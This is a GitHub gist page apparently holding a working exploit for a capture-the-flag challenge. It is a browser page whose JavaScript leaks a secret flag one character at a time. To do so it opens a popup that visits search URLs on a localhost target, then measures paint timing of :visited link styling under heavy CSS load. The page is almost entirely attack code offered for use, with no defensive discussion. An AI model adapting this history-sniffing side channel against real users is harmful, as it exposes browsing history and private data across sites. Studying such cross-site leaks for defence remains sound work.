-
-
Save JorianWoltjer/be36554d07a918ae3a811aa96ab74bd8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8" /> | |
<style type="text/css"> | |
/* Set it up so the target link element has different colors when pointing to a | |
visited vs unvisited URL. */ | |
#target { | |
color: white; | |
background-color: white; | |
outline-color: white; | |
} | |
#target:visited { | |
color: #feffff; | |
background-color: #fffeff; | |
outline-color: #fffffe; | |
} | |
</style> | |
</head> | |
<body style="overflow: hidden"> | |
<button id="button">Start</button> | |
<p><strong>Flag</strong>: <span id="flag"></span></p> | |
<script> | |
const ALPHABET = "{}e3a@4ri1o0t7ns25$lcudpmhg6bfywkvxzjq89_"; | |
const TARGET = "http://localhost"; | |
const HELPER = "http://localhost:5000"; | |
let FLAG = "CTF{"; | |
flag.textContent = FLAG; | |
let basisUrl; // Known-unvisited URL used during both test stages. | |
let targetLink; | |
let w; | |
function generateUnvisitedUrl() { | |
return "https://" + Math.random() + "/" + Date.now(); | |
} | |
function isVisited(experiment, control) { | |
const ratio = experiment / control; | |
return ratio < 0.7; | |
} | |
function createURL(c) { | |
if (c === undefined) return undefined; | |
return TARGET + `/api/v1/submissions?field=provided&per_page=1&page=2&q=` + FLAG + c; | |
} | |
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); | |
const median = (arr) => { | |
const mid = Math.floor(arr.length / 2); | |
const nums = [...arr].sort((a, b) => a - b); | |
return arr.length % 2 !== 0 ? nums[mid] : (nums[mid - 1] + nums[mid]) / 2; | |
}; | |
async function leakOnce(control) { | |
// Fill page 1 of submissions like 'CTF{1,CTF{2,CTF{3...' | |
const flags = ALPHABET.split("").map((c) => FLAG + c); | |
// Double comma separator to deal with '_' matching any character | |
await fetch(HELPER + "/submit?" + new URLSearchParams({ flag: flags.join(",,"), n: 1 }), { | |
mode: "no-cors", | |
}); | |
// Visit and test URLs in parallel | |
const results = []; | |
for (let i = -1; i < ALPHABET.length; i++) { | |
const url = createURL(ALPHABET[i]); | |
const nextUrl = createURL(ALPHABET[i + 1]); | |
const c = ALPHABET[i]; | |
// Prepare next URL by visiting it | |
if (nextUrl) w.location = nextUrl; | |
// Probe if the last URL was visited | |
if (url) { | |
const result = await leak(url); | |
results[url] = result; | |
if (isVisited(result, control)) { | |
return c; | |
} | |
} | |
} | |
} | |
button.addEventListener("click", async function () { | |
button.disabled = true; | |
w = window.open("", "", "width=1,height=1,resizable=no"); | |
const urls = ALPHABET.split("").map((c) => TARGET + `/api/v1/submissions?field=provided&per_page=1&page=2&q=` + FLAG + c); | |
// Find control value to compare with | |
let time = performance.now(); | |
let control = []; | |
for (let i = 0; i < 5; i++) { | |
control.push(await leak(generateUnvisitedUrl())); | |
} | |
control = median(control); | |
while (!FLAG.endsWith("}")) { | |
const c = await leakOnce(control); | |
w.location = "about:blank"; | |
if (c === undefined) { | |
// Maybe wrong previous, retry it | |
FLAG = FLAG.slice(0, -1); | |
continue; | |
} | |
FLAG += c; | |
// Flag should not contain double underscores, if it does, likely wrong previous character | |
if (FLAG.endsWith("__")) { | |
FLAG = FLAG.slice(0, -3); | |
} | |
flag.textContent = FLAG; | |
await sleep(1000); | |
} | |
alert("Flag found: " + FLAG); | |
button.disabled = false; | |
}); | |
async function leak(url) { | |
return new Promise((resolve, reject) => { | |
// Collect URLs. | |
basisUrl = generateUnvisitedUrl(); | |
// Create the target link element and point it to the basis URL. | |
targetLink = document.createElement("a"); | |
targetLink.id = "target"; | |
targetLink.href = basisUrl; | |
// Fill the target link element with a bunch of "Chinese lorem ipsum" | |
// text to put some load on the browser's text renderer. | |
var garbageText = | |
"業雲多受片主。好些天事開後起主在小工過商友全行,打回化高全水點強的基聯形要北壓好接畫。動我可存吸正分日通想……家覺生傳利最製面傳師命實們候企南是,多或進學落究,拿活直能你長的們是我和除四遠大因自過學於更,夠根親論運不我音死這中,生球經時於作,態了北業調經害難制明人人一經口子門眼,還年母語灣畫給的我坐多球:了這制響第不英才產聯是灣巴;為防平早,一廣女濟大運,的者黑來人北計記名書主之經決地皮天是有半!生請子記實的業外,出發向求:收息無:當法放老想?發景!".repeat( | |
28 | |
); | |
targetLink.appendChild(document.createTextNode(garbageText)); | |
// Set up some complicated CSS effects on the target link element. | |
targetLink.style.display = "block"; | |
targetLink.style.width = "5px"; | |
targetLink.style.fontSize = "2px"; | |
targetLink.style.outlineWidth = "24px"; | |
targetLink.style.textAlign = "center"; | |
targetLink.style.filter = "contrast(200%) drop-shadow(16px 16px 10px #fefefe) saturate(200%)"; | |
targetLink.style.textShadow = "16px 16px 10px #fefffe"; | |
targetLink.style.transform = "perspective(100px) rotateY(37deg)"; | |
document.body.appendChild(targetLink); | |
// Allow the DOM to "settle down" a bit after those changes before we | |
// start our test runs. | |
requestAnimationFrame(function () { | |
requestAnimationFrame(async function () { | |
const result = await runTestStage(url); | |
console.log(url, result); | |
resolve(result); | |
// cleanup | |
targetLink.remove(); | |
}); | |
}); | |
}); | |
} | |
async function runTestStage(testUrl, resolve) { | |
startCountingTicks(); | |
startOscillatingHref(testUrl); | |
await sleep(500); | |
stopOscillatingHref(); | |
return stopCountingTicks(); | |
} | |
// Concurrently oscillate the target link's href between the known-unvisited | |
// basis URL and a given test URL, which could be either of the control or | |
// experiment URLs. | |
var oscillateInterval; | |
var isPointingToBasisUrl = true; | |
function startOscillatingHref(testUrl) { | |
oscillateInterval = setInterval(function () { | |
targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl; | |
isPointingToBasisUrl = !isPointingToBasisUrl; | |
}, 0); | |
} | |
function stopOscillatingHref() { | |
clearInterval(oscillateInterval); | |
targetLink.href = basisUrl; | |
isPointingToBasisUrl = true; | |
} | |
// Concurrently count the number of times we complete a | |
// requestAnimationFrame callback, measuring paint performance over the test | |
// period. | |
var tickCount = 0; | |
var tickRequestId; | |
function startCountingTicks() { | |
tickRequestId = requestAnimationFrame(function () { | |
++tickCount; | |
startCountingTicks(); | |
}); | |
} | |
function stopCountingTicks() { | |
cancelAnimationFrame(tickRequestId); | |
var oldTickCount = tickCount; | |
tickCount = 0; | |
return oldTickCount; | |
} | |
const closeChecker = setInterval(() => { | |
if (w && w.closed) { | |
w = undefined; | |
alert("Do not close the window!"); | |
location.reload(); | |
} | |
}, 1000); | |
window.onbeforeunload = () => { | |
if (w) w.close(); | |
}; | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# See https://gist.github.com/JorianWoltjer/295ac5d8e7595a073116eba6f091506e#file-helper-py |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment